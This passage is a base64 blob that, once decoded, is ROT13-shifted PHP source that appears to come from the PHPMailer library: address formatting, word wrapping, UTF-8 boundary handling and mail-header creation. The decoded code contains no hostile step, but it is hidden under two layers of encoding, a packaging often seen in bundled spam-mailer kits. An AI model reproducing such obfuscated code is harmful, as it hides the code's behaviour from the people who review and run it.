5xcWVOY2NyYXEoJGdsY3IsICRucXFlKQogICAgewogICAgICAgICRucXFlcmZmcmYgPSBuZWVubCgpOwogICAgICAgIHNiZXJucHUgKCRucXFlIG5mICRucXFlcmZmKSB7CiAgICAgICAgICAgICRucXFlcmZmcmZbXSA9ICRndXZmLT5ucXFlU2Jlem5nKCRucXFlcmZmKTsKICAgICAgICB9CiAgICAgICAgZXJnaGVhICRnbGNyIC4gJzogJyAuIHZ6Y3licXIoJywgJywgJG5xcWVyZmZyZikgLiAkZ3V2Zi0+WVI7CiAgICB9CgogICAgLyoqCiAgICAgKiBTYmV6bmcgbmEgbnFxZXJmZiBzYmUgaGZyIHZhIG4genJmZm50ciB1cm5xcmUuCiAgICAgKiBAbnBwcmZmIGNob3l2cAogICAgICogQGNuZW56IG5lZW5sICRucXFlIE4gMi1yeXJ6cmFnIHZhcXJrcnEgbmVlbmwsIHJ5cnpyYWcgMCBwYmFnbnZhdmF0IG5hIG5xcWVyZmYsIHJ5cnpyYWcgMSBwYmFnbnZhdmF0IG4gYW56cgogICAgICogICAgICB5dnhyIG5lZW5sKCd3YnJAcmtuemN5ci5wYnonLCAnV2JyIEhmcmUnKQogICAgICogQGVyZ2hlYSBmZ2V2YXQKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIG5xcWVTYmV6bmcoJG5xcWUpCiAgICB7CiAgICAgICAgdnMgKHJ6Y2dsKCRucXFlWzFdKSkgeyAvLyBBYiBhbnpyIGNlYml2cXJxCiAgICAgICAgICAgIGVyZ2hlYSAkZ3V2Zi0+ZnJwaGVyVXJucXJlKCRucXFlWzBdKTsKICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICBlcmdoZWEgJGd1dmYtPnJhcGJxclVybnFyZSgkZ3V2Zi0+ZnJwaGVyVXJucXJlKCRucXFlWzFdKSwgJ2N1ZW5mcicpIC4gJyA8JyAuICRndXZmLT5mcnBoZXJVcm5xcmUoCiAgICAgICAgICAgICAgICAkbnFxZVswXQogICAgICAgICAgICApIC4gJz4nOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIEpiZXEtamVuYyB6cmZmbnRyLgogICAgICogU2JlIGhmciBqdmd1IHpudnlyZWYgZ3VuZyBxYiBhYmcgbmhnYnpuZ3Zwbnl5bCBjcmVzYmV6IGplbmNjdmF0CiAgICAgKiBuYXEgc2JlIGRoYmdycS1jZXZhZ25veXIgcmFwYnFycSB6cmZmbnRyZi4KICAgICAqIEJldnR2YW55IGpldmdncmEgb2wgY3V2eXZjY3IuCiAgICAgKiBAY25lbnogZmdldmF0ICR6cmZmbnRyIEd1ciB6cmZmbnRyIGdiIGplbmMKICAgICAqIEBjbmVueiB2YWdydHJlICR5cmF0Z3UgR3VyIHl2YXIgeXJhdGd1IGdiIGplbmMgZ2IKICAgICAqIEBjbmVueiBvYmJ5cm5hICRkY196YnFyIEp1cmd1cmUgZ2IgZWhhIHZhIERoYmdycS1DZXZhZ25veXIgemJxcgogICAgICogQG5wcHJmZiBjaG95dnAKICAgICAqIEBlcmdoZWEgZmdldmF0CiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSBqZW5jR3JrZygkenJmZm50ciwgJHlyYXRndSwgJGRjX3picXIgPSBzbnlmcikKICAgIHsKICAgICAgICB2cyAoJGRjX3picXIpIHsKICAgICAgICAgICAgJGZic2dfb2VybnggPSBmY2V2YWdzKCcgPSVmJywgJGd1dmYtPllSKTsKICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAkZmJzZ19vZXJueCA9ICRndXZmLT5ZUjsKICAgICAgICB9CiAgICAgICAgLy8gVnMgaGdzLTggcmFwYnF2YXQgdmYgaGZycSwganIganZ5eSBhcnJxIGdiIHpueHIgZmhlciBqciBxYmEnZwogICAgICAgIC8vIGZjeXZnIHpoeWd2b2xnciBwdW5lbnBncmVmIGp1cmEganIgamVuYwogICAgICAgICR2Zl9oZ3M4ID0gKGZnZWdieWJqcmUoJGd1dmYtPlB1bmVGcmcpID09ICdoZ3MtOCcpOwogICAgICAgICR5cnlyYSA9IGZnZXlyYSgkZ3V2Zi0+WVIpOwogICAgICAgICRwZXlzeXJhID0gZmdleXJhKGZyeXM6OlBFWVMpOwoKICAgICAgICAkenJmZm50ciA9ICRndXZmLT5zdmtSQlkoJHpyZmZudHIpOwogICAgICAgIC8vRXJ6YmlyIG4gZ2Vudnl2YXQgeXZhciBvZXJueAogICAgICAgIHZzIChmaG9mZ2UoJHpyZmZudHIsIC0keXJ5cmEpID09ICRndXZmLT5ZUikgewogICAgICAgICAgICAkenJmZm50ciA9IGZob2ZnZSgkenJmZm50ciwgMCwgLSR5cnlyYSk7CiAgICAgICAgfQoKICAgICAgICAvL0ZjeXZnIHpyZmZudHIgdmFnYiB5dmFyZgogICAgICAgICR5dmFyZiA9IHJrY3licXIoJGd1dmYtPllSLCAkenJmZm50cik7CiAgICAgICAgLy9acmZmbnRyIGp2eXkgb3IgZXJvaHZ5ZyB2YSB1cmVyCiAgICAgICAgJHpyZmZudHIgPSAnJzsKICAgICAgICBzYmVybnB1ICgkeXZhcmYgbmYgJHl2YXIpIHsKICAgICAgICAgICAgJGpiZXFmID0gcmtjeWJxcignICcsICR5dmFyKTsKICAgICAgICAgICAgJG9ocyA9ICcnOwogICAgICAgICAgICAkc3ZlZmdqYmVxID0gZ2VocjsKICAgICAgICAgICAgc2Jlcm5wdSAoJGpiZXFmIG5mICRqYmVxKSB7CiAgICAgICAgICAgICAgICB2cyAoJGRjX3picXIgbmFxIChmZ2V5cmEoJGpiZXEpID4gJHlyYXRndSkpIHsKICAgICAgICAgICAgICAgICAgICAkZmNucHJfeXJzZyA9ICR5cmF0Z3UgLSBmZ2V5cmEoJG9ocykgLSAkcGV5c3lyYTsKICAgICAgICAgICAgICAgICAgICB2cyAoISRzdmVmZ2piZXEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgdnMgKCRmY25wcl95cnNnID4gMjApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR5cmEgPSAkZmNucHJfeXJzZzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZzICgkdmZfaGdzOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR5cmEgPSAkZ3V2Zi0+aGdzOFB1bmVPYmhhcW5lbCgkamJlcSwgJHlyYSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IHJ5ZnJ2cyAoZmhvZmdlKCRqYmVxLCAkeXJhIC0gMSwgMSkgPT0gJz0nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlyYS0tOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSByeWZydnMgKGZob2ZnZSgkamJlcSwgJHlyYSAtIDIsIDEpID09ICc9JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR5cmEgLT0gMjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjbmVnID0gZmhvZmdlKCRqYmVxLCAwLCAkeXJhKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqYmVxID0gZmhvZmdlKCRqYmVxLCAkeXJhKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvaHMgLj0gJyAnIC4gJGNuZWc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkenJmZm50ciAuPSAkb2hzIC4gZmNldmFncygnPSVmJywgZnJ5czo6UEVZUyk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkenJmZm50ciAuPSAkb2hzIC4gJGZic2dfb2Vybng7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJG9ocyA9ICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBqdXZ5ciAoZmdleXJhKCRqYmVxKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgdnMgKCR5cmF0Z3UgPD0gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgb2Vybng7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJHlyYSA9ICR5cmF0Z3U7CiAgICAgICAgICAgICAgICAgICAgICAgIHZzICgkdmZfaGdzOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlyYSA9ICRndXZmLT5oZ3M4UHVuZU9iaGFxbmVsKCRqYmVxLCAkeXJhKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSByeWZydnMgKGZob2ZnZSgkamJlcSwgJHlyYSAtIDEsIDEpID09ICc9JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlyYS0tOwogICAgICAgICAgICAgICAgICAgICAgICB9IHJ5ZnJ2cyAoZmhvZmdlKCRqYmVxLCAkeXJhIC0gMiwgMSkgPT0gJz0nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkeXJhIC09IDI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGNuZWcgPSBmaG9mZ2UoJGpiZXEsIDAsICR5cmEpOwogICAgICAgICAgICAgICAgICAgICAgICAkamJlcSA9IGZob2ZnZSgkamJlcSwgJHlyYSk7CgogICAgICAgICAgICAgICAgICAgICAgICB2cyAoZmdleXJhKCRqYmVxKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6cmZmbnRyIC49ICRjbmVnIC4gZmNldmFncygnPSVmJywgZnJ5czo6UEVZUyk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb2hzID0gJGNuZWc7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAgICAgICAgICRvaHNfYiA9ICRvaHM7CiAgICAgICAgICAgICAgICAgICAgdnMgKCEkc3ZlZmdqYmVxKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRvaHMgLj0gJyAnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkb2hzIC49ICRqYmVxOwoKICAgICAgICAgICAgICAgICAgICB2cyAoZmdleXJhKCRvaHMpID4gJHlyYXRndSBuYXEgJG9oc19iICE9ICcnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR6cmZmbnRyIC49ICRvaHNfYiAuICRmYnNnX29lcm54OwogICAgICAgICAgICAgICAgICAgICAgICAkb2hzID0gJGpiZXE7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHN2ZWZnamJlcSA9IHNueWZyOwogICAgICAgICAgICB9CiAgICAgICAgICAgICR6cmZmbnRyIC49ICRvaHMgLiBmcnlzOjpQRVlTOwogICAgICAgIH0KCiAgICAgICAgZXJnaGVhICR6cmZmbnRyOwogICAgfQoKICAgIC8qKgogICAgICogU3ZhcSBndXIgeW5mZyBwdW5lbnBncmUgb2JoYXFuZWwgY2V2YmUgZ2IgJHpua1lyYXRndSB2YSBuIGhncy04CiAgICAgKiBkaGJncnEtY2V2YWdub3lyIHJhcGJxcnEgZmdldmF0LgogICAgICogQmV2dHZhbnkgamV2Z2dyYSBvbCBQYnl2YSBPZWJqYS4KICAgICAqIEBucHByZmYgY2hveXZwCiAgICAgKiBAY25lbnogZmdldmF0ICRyYXBicXJxR3JrZyBoZ3MtOCBEQyBncmtnCiAgICAgKiBAY25lbnogdmFncnRyZSAkem5rWXJhdGd1IFN2YXEgZ3VyIHluZmcgcHVuZW5wZ3JlIG9iaGFxbmVsIGNldmJlIGdiIGd1dmYgeXJhdGd1CiAgICAgKiBAZXJnaGVhIHZhZ3J0cmUKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIGhnczhQdW5lT2JoYXFuZWwoJHJhcGJxcnFHcmtnLCAkem5rWXJhdGd1KQogICAgewogICAgICAgICRzYmhhcUZjeXZnQ2JmID0gc255ZnI7CiAgICAgICAgJHliYnhPbnB4ID0gMzsKICAgICAgICBqdXZ5ciAoISRzYmhhcUZjeXZnQ2JmKSB7CiAgICAgICAgICAgICR5bmZnUHVoYXggPSBmaG9mZ2UoJHJhcGJxcnFHcmtnLCAkem5rWXJhdGd1IC0gJHliYnhPbnB4LCAkeWJieE9ucHgpOwogICAgICAgICAgICAkcmFwYnFycVB1bmVDYmYgPSBmZ2VjYmYoJHluZmdQdWhheCwgJz0nKTsKICAgICAgICAgICAgdnMgKHNueWZyICE9PSAkcmFwYnFycVB1bmVDYmYpIHsKICAgICAgICAgICAgICAgIC8vIFNiaGFxIGZnbmVnIGJzIHJhcGJxcnEgcHVuZW5wZ3JlIG9sZ3IganZndXZhICR5YmJ4T25weCBveWJweC4KICAgICAgICAgICAgICAgIC8vIFB1cnB4IGd1ciByYXBicXJxIG9sZ3IgaW55aHIgKGd1ciAyIHB1bmVmIG5zZ3JlIGd1ciAnPScpCiAgICAgICAgICAgICAgICAkdXJrID0gZmhvZmdlKCRyYXBicXJxR3JrZywgJHpua1lyYXRndSAtICR5YmJ4T25weCArICRyYXBicXJxUHVuZUNiZiArIDEsIDIpOwogICAgICAgICAgICAgICAgJHFycCA9IHVya3FycCgkdXJrKTsKICAgICAgICAgICAgICAgIHZzICgkcXJwIDwgMTI4KSB7CiAgICAgICAgICAgICAgICAgICAgLy8gRnZhdHlyIG9sZ3IgcHVuZW5wZ3JlLgogICAgICAgICAgICAgICAgICAgIC8vIFZzIGd1ciByYXBicXJxIHB1bmUgam5mIHNiaGFxIG5nIGNiZiAwLCB2ZyBqdnl5IHN2ZwogICAgICAgICAgICAgICAgICAgIC8vIGJndXJlanZmciBlcnFocHIgem5rWXJhdGd1IGdiIGZnbmVnIGJzIGd1ciByYXBicXJxIHB1bmUKICAgICAgICAgICAgICAgICAgICB2cyAoJHJhcGJxcnFQdW5lQ2JmID4gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAkem5rWXJhdGd1ID0gJHpua1lyYXRndSAtICgkeWJieE9ucHggLSAkcmFwYnFycVB1bmVDYmYpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkc2JoYXFGY3l2Z0NiZiA9IGdlaHI7CiAgICAgICAgICAgICAgICB9IHJ5ZnJ2cyAoJHFycCA+PSAxOTIpIHsKICAgICAgICAgICAgICAgICAgICAvLyBTdmVmZyBvbGdyIGJzIG4gemh5Z3Ygb2xnciBwdW5lbnBncmUKICAgICAgICAgICAgICAgICAgICAvLyBFcnFocHIgem5rWXJhdGd1IGdiIGZjeXZnIG5nIGZnbmVnIGJzIHB1bmVucGdyZQogICAgICAgICAgICAgICAgICAgICR6bmtZcmF0Z3UgPSAkem5rWXJhdGd1IC0gKCR5YmJ4T25weCAtICRyYXBicXJxUHVuZUNiZik7CiAgICAgICAgICAgICAgICAgICAgJHNiaGFxRmN5dmdDYmYgPSBnZWhyOwogICAgICAgICAgICAgICAgfSByeWZydnMgKCRxcnAgPCAxOTIpIHsKICAgICAgICAgICAgICAgICAgICAvLyBadnFxeXIgb2xnciBicyBuIHpoeWd2IG9sZ3IgcHVuZW5wZ3JlLCB5YmJ4IHNoZWd1cmUgb25weAogICAgICAgICAgICAgICAgICAgICR5YmJ4T25weCArPSAzOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAgICAgLy8gQWIgcmFwYnFycSBwdW5lbnBncmUgc2JoYXEKICAgICAgICAgICAgICAgICRzYmhhcUZjeXZnQ2JmID0gZ2VocjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlcmdoZWEgJHpua1lyYXRndTsKICAgIH0KCiAgICAvKioKICAgICAqIE5jY3lsIGpiZXEgamVuY2N2YXQgZ2IgZ3VyIHpyZmZudHIgb2JxbC4KICAgICAqIEplbmNmIGd1ciB6cmZmbnRyIG9icWwgZ2IgZ3VyIGFoem9yZSBicyBwdW5lZiBmcmcgdmEgZ3VyIEpiZXFKZW5jIGNlYmNyZWdsLgogICAgICogTGJoIGZ1Ymh5cSBiYXlsIHFiIGd1dmYgZ2IgY3ludmEtZ3JrZyBvYnF2cmYgbmYgamVuY2N2YXQgVUdaWSBnbnRmIHpubCBvZXJueCBndXJ6LgogICAgICogR3V2ZiB2ZiBwbnl5cnEgbmhnYnpuZ3Zwbnl5bCBvbCBwZXJuZ3JPYnFsKCksIGZiIGxiaCBxYmEnZyBhcnJxIGdiIHBueXkgdmcgbGJoZWZyeXMuCiAgICAgKiBAbnBwcmZmIGNob3l2cAogICAgICogQGVyZ2hlYSBpYnZxCiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSBmcmdKYmVxSmVuYygpCiAgICB7CiAgICAgICAgdnMgKCRndXZmLT5KYmVxSmVuYyA8IDEpIHsKICAgICAgICAgICAgZXJnaGVhOwogICAgICAgIH0KCiAgICAgICAgZmp2Z3B1ICgkZ3V2Zi0+enJmZm50cl9nbGNyKSB7CiAgICAgICAgICAgIHBuZnIgJ255Zyc6CiAgICAgICAgICAgIHBuZnIgJ255Z192YXl2YXInOgogICAgICAgICAgICBwbmZyICdueWdfbmdnbnB1JzoKICAgICAgICAgICAgcG5mciAnbnlnX3ZheXZhcl9uZ2ducHUnOgogICAgICAgICAgICAgICAgJGd1dmYtPk55Z09icWwgPSAkZ3V2Zi0+amVuY0dya2coJGd1dmYtPk55Z09icWwsICRndXZmLT5KYmVxSmVuYyk7CiAgICAgICAgICAgICAgICBvZXJueDsKICAgICAgICAgICAgcXJzbmh5ZzoKICAgICAgICAgICAgICAgICRndXZmLT5PYnFsID0gJGd1dmYtPmplbmNHcmtnKCRndXZmLT5PYnFsLCAkZ3V2Zi0+SmJlcUplbmMpOwogICAgICAgICAgICAgICAgb2Vybng7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogTmZmcnpveXIgenJmZm50ciB1cm5xcmVmLgogICAgICogQG5wcHJmZiBjaG95dnAKICAgICAqIEBlcmdoZWEgZmdldmF0IEd1ciBuZmZyem95cnEgdXJucXJlZgogICAgICovCiAgICBjaG95dnAgc2hhcGd2YmEgcGVybmdyVXJucXJlKCkKICAgIHsKICAgICAgICAkZXJmaHlnID0gJyc7CgogICAgICAgICRlcmZoeWcgLj0gJGd1dmYtPnVybnFyZVl2YXIoJ1FuZ3InLCAkZ3V2Zi0+WnJmZm50clFuZ3IgPT0gJycgPyBmcnlzOjplc3BRbmdyKCkgOiAkZ3V2Zi0+WnJmZm50clFuZ3IpOwoKICAgICAgICAvLyBHYiBvciBwZXJuZ3JxIG5oZ2J6bmd2cG55eWwgb2wgem52eSgpCiAgICAgICAgdnMgKCRndXZmLT5GdmF0eXJHYikgewogICAgICAgICAgICB2cyAoJGd1dmYtPlpudnlyZSAhPSAnem52eScpIHsKICAgICAgICAgICAgICAgIHNiZXJucHUgKCRndXZmLT5nYiBuZiAkZ2JucXFlKSB7CiAgICAgICAgICAgICAgICAgICAgJGd1dmYtPkZ2YXR5ckdiTmVlbmxbXSA9ICRndXZmLT5ucXFlU2Jlem5nKCRnYm5xcWUpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSByeWZyIHsKICAgICAgICAgICAgdnMgKHBiaGFnKCRndXZmLT5nYikgPiAwKSB7CiAgICAgICAgICAgICAgICB2cyAoJGd1dmYtPlpudnlyZSAhPSAnem52eScpIHsKICAgICAgICAgICAgICAgICAgICAkZXJmaHlnIC49ICRndXZmLT5ucXFlTmNjcmFxKCdHYicsICRndXZmLT5nYik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gcnlmcnZzIChwYmhhZygkZ3V2Zi0+cHApID09IDApIHsKICAgICAgICAgICAgICAgICRlcmZoeWcgLj0gJGd1dmYtPnVybnFyZVl2YXIoJ0diJywgJ2hhcXZmcHliZnJxLWVycHZjdnJhZ2Y6OycpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkZXJmaHlnIC49ICRndXZmLT5ucXFlTmNjcmFxKCdTZWJ6JywgbmVlbmwobmVlbmwoZ2V2eigkZ3V2Zi0+U2VieiksICRndXZmLT5TZWJ6QW56cikpKTsKCiAgICAgICAgLy8gZnJhcXpudnkgbmFxIHpudnkoKSBya2dlbnBnIFBwIHNlYnogZ3VyIHVybnFyZSBvcnNiZXIgZnJhcXZhdAogICAgICAgIHZzIChwYmhhZygkZ3V2Zi0+cHApID4gMCkgewogICAgICAgICAgICAkZXJmaHlnIC49ICRndXZmLT5ucXFlTmNjcmFxKCdQcCcsICRndXZmLT5wcCk7CiAgICAgICAgfQoKICAgICAgICAvLyBmcmFxem52eSBuYXEgem52eSgpIHJrZ2VucGcgT3BwIHNlYnogZ3VyIHVybnFyZSBvcnNiZXIgZnJhcXZhdAogICAgICAgIHZzICgoCiAgICAgICAgICAgICAgICAkZ3V2Zi0+Wm52eXJlID09ICdmcmFxem52eScgYmUgJGd1dmYtPlpudnlyZSA9PSAnZHpudnknIGJlICRndXZmLT5abnZ5cmUgPT0gJ3pudnknCiAgICAgICAgICAgICkKICAgICAgICAgICAgbmFxIHBiaGFnKCRndXZmLT5vcHApID4gMAogICAgICAgICkgewogICAgICAgICAgICAkZXJmaHlnIC49ICRndXZmLT5ucXFlTmNjcmFxKCdPcHAnLCAkZ3V2Zi0+b3BwKTsKICAgICAgICB9CgogICAgICAgIHZzIChwYmhhZygkZ3V2Zi0+RXJjeWxHYikgPiAwKSB7CiAgICAgICAgICAgICRlcmZoeWcgLj0gJGd1dmYtPm5xcWVOY2NyYXEoJ0VyY3lsLUdiJywgJGd1dmYtPkVyY3lsR2IpOwogICAgICAgIH0KCiAgICAgICAgLy8gem52eSgpIGZyZ2YgZ3VyIGZob3dycGcgdmdmcnlzCiAgICAgICAgdnMgKCRndXZmLT5abnZ5cmUgIT0gJ3pudnknKSB7CiAgICAgICAgICAgICRlcmZoeWcgLj0gJGd1dmYtPnVybnFyZVl2YXIoJ0Zob3dycGcnLCAkZ3V2Zi0+cmFwYnFyVXJucXJlKCRndXZmLT5mcnBoZXJVcm5xcmUoJGd1dmYtPkZob3dycGcpKSk7CiAgICAgICAgfQoKICAgICAgICAvLyBCYXlsIG55eWJqIG4gcGhmZ2J6IHpyZmZudHIgVlEgdnMgdmcgcGJhc2JlemYgZ2IgRVNQIDUzMjIgZnJwZ3ZiYSAzLjYuNAogICAgICAgIC8vIHVnZ2NmOi8vZ2JieWYudnJncy5iZXQvdWd6eS9lc3A1MzIyI2ZycGd2YmEtMy42LjQKICAgICAgICB2cyAoJycgIT0gJGd1dmYtPlpyZmZudHJWUSBuYXEgY2VydF96bmdwdSgnL148LipALio+JC8nLCAkZ3V2Zi0+WnJmZm50clZRKSkgewogICAgICAgICAgICAkZ3V2Zi0+eW5mZ1pyZmZudHJWUSA9ICRndXZmLT5acmZmbnRyVlE7CiAgICAgICAgfSByeWZyIHsKICAgICAgICAgICAgJGd1dmYtPnluZmdacmZmbnRyVlEgPSBmY2V2YWdzKCc8JWZAJWY+JywgJGd1dmYtPmhhdmRocnZxLCAkZ3V2Zi0+ZnJlaXJlVWJmZ2FuenIoKSk7CiAgICAgICAgfQogICAgICAgICRlcmZoeWcgLj0gJGd1dmYtPnVybnFyZVl2YXIoJ1pyZmZudHItVlEnLCAkZ3V2Zi0+eW5mZ1pyZmZudHJWUSk7CiAgICAgICAgdnMgKCF2Zl9haHl5KCRndXZmLT5DZXZiZXZnbCkpIHsKICAgICAgICAgICAgJGVyZmh5ZyAuPSAkZ3V2Zi0+dXJucXJlWXZhcignSy1DZXZiZXZnbCcsICRndXZmLT5DZXZiZXZnbCk7CiAgICAgICAgfQogICAgICAgIHZzICgkZ3V2Zi0+S1pudnlyZSA9PSAnJykgewogICAgICAgICAgICAkZXJmaHlnIC49ICRndXZmLT51cm5xcmVZdmFyKAogICAgICAgICAgICAgICAgJ0stWm52eXJlJywKICAgICAgICAgICAgICAgICdDVUNabnZ5cmUgJyAuICRndXZmLT5JcmVmdmJhIC4gJyAodWdnY2Y6Ly90dmd1aG8ucGJ6L0NVQ1pudnlyZS9DVUNabnZ5cmUpJwogICAgICAgICAgICApOwogICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICR6bEt6bnZ5cmUgPSBnZXZ6KCRndXZmLT5LWm52eXJlKTsKICAgICAgICAgICAgdnMgKCR6bEt6bnZ5cmUpIHsKICAgICAgICAgICAgICAgICRlcmZoeWcgLj0gJGd1dmYtPnVybnFyZVl2YXIoJ0stWm52eXJlJywgJHpsS3pudnlyZSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHZzICgkZ3V2Zi0+UGJhc3ZlekVybnF2YXRHYiAhPSAnJykgewogICAgICAgICAgICAkZXJmaHlnIC49ICRndXZmLT51cm5xcmVZdmFyKCdRdmZjYmZ2Z3ZiYS1BYmd2c3Zwbmd2YmEtR2InLCAnPCcgLiAkZ3V2Zi0+UGJhc3ZlekVybnF2YXRHYiAuICc+Jyk7CiAgICAgICAgfQoKICAgICAgICAvLyBOcXEgcGhmZ2J6IHVybnFyZWYKICAgICAgICBzYmVybnB1ICgkZ3V2Zi0+UGhmZ2J6VXJucXJlIG5mICR1cm5xcmUpIHsKICAgICAgICAgICAgJGVyZmh5ZyAuPSAkZ3V2Zi0+dXJucXJlWXZhcigKICAgICAgICAgICAgICAgIGdldnooJHVybnFyZVswXSksCiAgICAgICAgICAgICAgICAkZ3V2Zi0+cmFwYnFyVXJucXJlKGdldnooJHVybnFyZVsxXSkpCiAgICAgICAgICAgICk7CiAgICAgICAgfQogICAgICAgIHZzICghJGd1dmYtPmZ2dGFfeHJsX3N2eXIpIHsKICAgICAgICAgICAgJGVyZmh5ZyAuPSAkZ3V2Zi0+dXJucXJlWXZhcignWlZaUi1JcmVmdmJhJywgJzEuMCcpOwogICAgICAgICAgICAkZXJmaHlnIC49ICRndXZmLT50cmdabnZ5WlZaUigpOwogICAgICAgIH0KCiAgICAgICAgZXJnaGVhICRlcmZoeWc7CiAgICB9CgogICAgLyoqCiAgICAgKiBUcmcgZ3VyIHpyZmZudHIgWlZaUiBnbGNyIHVybnFyZWYuCiAgICAgKiBAbnBwcmZmIGNob3l2cAogICAgICogQGVyZ2hlYSBmZ2V2YXQKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIHRyZ1pudnlaVlpSKCkKICAgIHsKICAgICAgICAkZXJmaHlnID0gJyc7CiAgICAgICAgJHZmemh5Z3ZjbmVnID0gZ2VocjsKICAgICAgICBmanZncHUgKCRndXZmLT56cmZmbnRyX2dsY3IpIHsKICAgICAgICAgICAgcG5mciAndmF5dmFyJzoKICAgICAgICAgICAgICAgICRlcmZoeWcgLj0gJGd1dmYtPnVybnFyZVl2YXIoJ1BiYWdyYWctR2xjcicsICd6aHlndmNuZWcvZXJ5bmdycTsnKTsKICAgICAgICAgICAgICAgICRlcmZoeWcgLj0gJGd1dmYtPmdya2dZdmFyKCJcZ29iaGFxbmVsPVwiIiAuICRndXZmLT5vYmhhcW5lbFsxXSAuICciJyk7CiAgICAgICAgICAgICAgICBvZXJueDsKICAgICAgICAgICAgcG5mciAnbmdnbnB1JzoKICAgICAgICAgICAgcG5mciAndmF5dmFyX25nZ25wdSc6CiAgICAgICAgICAgIHBuZnIgJ255Z19uZ2ducHUnOgogICAgICAgICAgICBwbmZyICdueWdfdmF5dmFyX25nZ25wdSc6CiAgICAgICAgICAgICAgICAkZXJmaHlnIC49ICRndXZmLT51cm5xcmVZdmFyKCdQYmFncmFnLUdsY3InLCAnemh5Z3ZjbmVnL3p2a3JxOycpOwogICAgICAgICAgICAgICAgJGVyZmh5ZyAuPSAkZ3V2Zi0+Z3JrZ1l2YXIoIlxnb2JoYXFuZWw9XCIiIC4gJGd1dmYtPm9iaGFxbmVsWzFdIC4gJyInKTsKICAgICAgICAgICAgICAgIG9lcm54OwogICAgICAgICAgICBwbmZyICdueWcnOgogICAgICAgICAgICBwbmZyICdueWdfdmF5dmFyJzoKICAgICAgICAgICAgICAgICRlcmZoeWcgLj0gJGd1dmYtPnVybnFyZVl2YXIoJ1BiYWdyYWctR2xjcicsICd6aHlndmNuZWcvbnlncmVhbmd2aXI7Jyk7CiAgICAgICAgICAgICAgICAkZXJmaHlnIC49ICRndXZmLT5ncmtnWXZhcigiXGdvYmhhcW5lbD1cIiIgLiAkZ3V2Zi0+b2JoYXFuZWxbMV0gLiAnIicpOwogICAgICAgICAgICAgICAgb2Vybng7CiAgICAgICAgICAgIHFyc25oeWc6CiAgICAgICAgICAgICAgICAvLyBQbmdwdXJmIHBuZnIgJ2N5bnZhJzogbmFxIHBuZnIgJyc6CiAgICAgICAgICAgICAgICAkZXJmaHlnIC49ICRndXZmLT5ncmtnWXZhcignUGJhZ3JhZy1HbGNyOiAnIC4gJGd1dmYtPlBiYWdyYWdHbGNyIC4gJzsgcHVuZWZyZz0nIC4gJGd1dmYtPlB1bmVGcmcpOwogICAgICAgICAgICAgICAgJHZmemh5Z3ZjbmVnID0gc255ZnI7CiAgICAgICAgICAgICAgICBvZXJueDsKICAgICAgICB9CiAgICAgICAgLy8gRVNQMTM0MSBjbmVnIDUgZm5sZiA3b3ZnIHZmIG5mZmh6cnEgdnMgYWJnIGZjcnB2c3ZycQogICAgICAgIHZzICgkZ3V2Zi0+UmFwYnF2YXQgIT0gJzdvdmcnKSB7CiAgICAgICAgICAgIC8vIEVTUCAyMDQ1IGZycGd2YmEgNi40IGZubGYgemh5Z3ZjbmVnIFpW